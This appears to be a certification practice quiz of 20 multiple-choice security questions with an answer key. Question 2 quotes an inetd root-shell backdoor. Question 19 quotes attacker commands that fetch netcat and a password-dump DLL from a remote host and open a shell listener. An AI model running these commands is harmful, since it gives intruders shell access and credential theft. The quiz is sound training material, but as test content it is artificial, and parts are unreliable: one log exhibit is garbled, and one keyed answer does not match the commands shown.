EC-Council Certified Cybersecurity Analyst

1. What is the essential difference between an ‘Ethical Hacker’ and a ‘Cracker’?

A. The ethical hacker does not use the same techniques or skills as a cracker.

B. The ethical hacker does it strictly for financial motives unlike a cracker.

C. The ethical hacker has authorization from the owner of the target.

D. The ethical hacker is just a cracker who is getting paid.

Answer(s): C

---

2. Study the following exploit code taken from a Linux machine and answer the questions below:
echo “ingreslock stream tcp nowait root /bin/sh sh –I" > /tmp/x;
/usr/sbin/inetd –s /tmp/x;
sleep 10;
/bin/ rm –f /tmp/x AAAA…AAA
In the above exploit code, the command “/bin/sh sh –I" is given.
What is the purpose, and why is ‘sh’ shown twice?

A. The command /bin/sh sh –i appearing in the exploit code is actually part of an inetd configuration file.

B. The length of such a buffer overflow exploit makes it prohibitive for user to enter manually.The second ‘sh’ automates this function.

C. It checks for the presence of a codeword (setting the environment variable) among the environment variables.

D. It is a giveaway by the attacker that he is a script kiddy.

Answer(s): A

---

3. Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order to find some information about the target they are attempting to penetrate.
What would you call this kind of activity?

A. CI Gathering

B. Scanning

C. Dumpster Diving

D. Garbage Scooping

Answer(s): C

---

4. One of the better features of NetWare is the use of packet signature that includes cryptographic signatures. The packet signature mechanism has four levels from 0 to 3.
In the list below which of the choices represent the level that forces NetWare to sign all packets?

A. 0 (zero)

B. 1

C. 2

D. 3

Answer(s): D

---

5. Jane wishes to forward X-Windows traffic to a remote host as well as POP3 traffic. She is worried that adversaries might be monitoring the communication link and could inspect captured traffic. She would line to tunnel the information to the remote end but does not have VPN capabilities to do so.
Which of the following tools can she use to protect the link?

A. MD5

B. SSH

C. RSA

D. PGP

Answer(s): B

---

6. Virus Scrubbers and other malware detection program can only detect items that they are aware of. Which of the following tools would allow you to detect unauthorized changes or modifications of binary files on your system by unknown malware?

A. System integrity verification tools

B. Anti-Virus Software

C. A properly configured gateway

D. There is no way of finding out until a new updated signature file is released

Answer(s): A

---

7. Sandra is conducting a penetration test for ABC.com. She knows that ABC.com is using wireless networking for some of the offices in the building right down the street. Through social engineering she discovers that they are using 802.11g. Sandra knows that 802.11g uses the same 2.4GHz frequency range as 802.11b. Using NetStumbler and her 802.11b wireless NIC, Sandra drives over to the building to map the wireless networks. However, even though she repositions herself around the building several times, Sandra is not able to detect a single AP. What do you think is the reason behind this?

A. Netstumbler does not work against 802.11g.

B. You can only pick up 802.11g signals with 802.11a wireless cards.

C. The access points probably have WEP enabled so they cannot be detected.

D. The access points probably have disabled broadcasting of the SSID so they cannot be detected.

E. 802.11g uses OFDM while 802.11b uses DSSS so despite the same frequency and 802.11b card cannot see an 802.11g signal.

F. Sandra must be doing something wrong, as there is no reason for her to not see the signals.

Answer(s): D

---

8. Joseph has just been hired on to a contractor company of the Department of Defense as their senior Security Analyst. Joseph has been instructed on the Company's strict security policies that have been implemented and the policies that have yet to be put in place. Per the Department of Defense, all DoD users and the users of their contractors must use two-factor authentication to access their networks. Joseph has been delegated the task of researching and implementing the best two-factor authentication method for his company. Joseph's supervisor has told him that they would like to use some type of hardware device in tandem with a security or identifying pin number.
Joseph's company has already researched using smart cards and all the resources needed to implement them, but found the smart cards to not be cost effective. What type of device should Joseph use for two-factor authentication?

A. Security token

B. Biometric device

C. OTP

D. Proximity cards

Answer(s): A

---

9. Exhibit

```
Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.165:56693 -> 172.16.1.107:482
Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> :72.16.1.107:53
Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTEI from 24.9.255.53
Apr 25 02:08:07 [4663]: spp_portscan: portscan detected from 194.222.156.169         3
Apr 25 02:08:0  [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> :72.16.1.10    3
Apr 25 02:38:17 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.7:53
Apr 25 19:38:32 [5875]: spp portscan: PORTSCAN DETECTEI from 24.9.255.53         16.1.1.107:80
Apr 26 05:45:10 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> :72.16.1.107:53
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81?:566351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session cpened for user simon by simple(uid=506)
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558
```

Study the log given in the exhibit,

Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate?

A. Disallow UDP 53 in from outside to DNS server

B. Allow UDP 53 in from DNS server to outside

C. Disallow TCP 53 in from secondaries or ISP server to DNS server

D. Block all UDP traffic

Answer(s): C

---

10. Windump is the windows port of the famous TCPDump packet sniffer available on a variety of platforms. In order to use this tool on the Windows platform you must install a packet capture library.
What is the name of this library?

A. NTPCAP

B. LibPCAP

C. WinPCAP

D. PCAP

Answer(s): C

---

11. Sandra has been actively scanning the client network on which she is doing a vulnerability assessment test. While conducting a port scan she notices open ports in the range of 135 to 139. What protocol is most likely to be listening on those ports?

A. Finger

B. FTP

C. Samba

D. SMB

Answer(s): D

---

12. If a token and 4-digit personal identification number (PIN) are used to access a computer system and the token performs off-line checking for the correct PIN, what type of attack is possible?

A. Birthday

B. Brute force

C. Man-in-the-middle

D. Smurf

Answer(s): B

---

13. Doug is conducting a port scan of a target network. He knows that his client target network has a web server and that there is a mail server also which is up and running. Doug has been sweeping the network but has not been able to elicit any response from the remote target. Which of the following could be the most likely cause behind this lack of response? Select 4.

- [ ] A. UDP is filtered by a gateway
- [ ] B. The packet TTL value is too low and cannot reach the target
- [ ] C. The host might be down
- [ ] D. The destination network might be down
- [ ] E. The TCP windows size does not match
- [ ] F. ICMP is filtered by a gateway

Answer(s): A B C F

---

14. You are footprinting Acme.com to gather competitive intelligence. You visit the acme.com websire for contact information and telephone number numbers but do not find it listed there. You know that they had the entire staff directory listed on their website 12 months ago but now it is not there. How would it be possible for you to retrieve information from the website that is outdated?

A. Visit google search engine and view the cached copy.

B. Visit Archive.org site to retrieve the Internet archive of the acme website.

C. Crawl the entire website and store them into your computer.

D. Visit the company's partners and customers website for this information.

Answer(s): B

---

15. Bob is going to perform an active session hijack against company. He has acquired the target that allows session oriented connections (Telnet) and performs sequence prediction on the target operating system. He manages to find an active session due to the high level of traffic on the network.
So, what is Bob most likely to do next?

A. Take over the session.

B. Reverse sequence prediction.

C. Guess the sequence numbers.

D. Take one of the parties' offline.

Answer(s): C

---

16. Sara is making use of Digest Authentication for her Web site. Why is this considered to be more secure than Basic authentication?

A. Basic authentication is broken

B. The password is never sent in clear text over the network

C. The password sent in clear text over the network is never reused.

D. It is based on Kerberos authentication protocol

Answer(s): B

---

17. Your boss at ABC.com asks you what are the three stages of Reverse Social Engineering.

A. Sabotage, advertising, Assisting

B. Sabotage, Advertising, Covering

C. Sabotage, Assisting, Billing

D. Sabotage, Advertising, Covering

Answer(s): A

---

18. Which of the following is the best way an attacker can passively learn about technologies used in an organization?

A. By sending web bugs to key personnel

B. By webcrawling the organization web site

C. By searching regional newspapers and job databases for skill sets technology hires need to possess in the organization

D. By performing a port scan on the organization's web site

Answer(s): C

---

19. The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
“cmd1.exe /c open 213.116.251.162 >ftpcom”
“cmd1.exe /c echo johna2k >>ftpcom”
“cmd1.exe /c echo haxedj00 >>ftpcom”
“cmd1.exe /c echo get nc.exe >>ftpcom”
“cmd1.exe /c echo get samdump.dll >>ftpcom”
“cmd1.exe /c echo quit >>ftpcom”
“cmd1.exe /c ftp –s:ftpcom”
“cmd1.exe /c nc –l –p 6969 e-cmd1.exe”
What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k.

B. There are two attackers on the system – johna2k and haxedj00.

C. The attack is a remote exploit and the hacker downloads three files.

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.

Answer(s): C

---

20. Which of the following statements best describes the term Vulnerability?

A. A weakness or error that can lead to a compromise

B. An agent that has the potential to take advantage of a weakness

C. An action or event that might prejudice security

D. The loss potential of a threat.

Answer(s): A
